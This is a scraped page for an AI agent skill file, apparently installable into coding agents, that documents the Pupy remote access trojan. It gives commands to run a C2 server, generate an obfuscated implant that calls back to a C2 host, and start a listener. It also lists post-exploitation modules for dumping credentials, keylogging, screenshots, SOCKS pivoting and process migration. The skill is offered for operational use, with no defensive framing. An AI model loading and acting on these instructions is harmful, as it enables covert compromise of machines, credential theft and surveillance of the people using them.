offensive-tools/c2/pupy/SKILL.md
Cross-platform remote administration and post-exploitation tool with Python implants. Use when needing a lightweight RAT with in-memory modules, multiple transports (TCP/HTTP/WebSocket), and migration capabilities.
npx skillsauth add aeondave/malskill pupyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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Cross-platform Python RAT with in-memory module loading and multiple C2 transports.
# Docker (recommended)
docker pull n1nj4sec/pupy
docker run -it --rm -p 8443:8443 n1nj4sec/pupy pupysh
# Generate implant
gen -f exe -t obfs3 connect --host C2:8443 -o agent.exe
# Start listener
listen -a obfs3 8443
| Command | Purpose |
|---------|---------|
| sessions | List active sessions |
| interact <id> | Enter session |
| run <module> | Run a post-ex module |
| gen | Generate implant |
| listen | Start listener |
| upload/download | File transfer |
run post.gather.credentials # Dump creds
run post.gather.keylogger # Start keylogger
run post.gather.screenshot # Screenshot
run post.pivot.socks5 # SOCKS5 proxy
run post.migrate # Process migration
| File | When to load |
|------|--------------|
| references/ | Transport config and module index |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.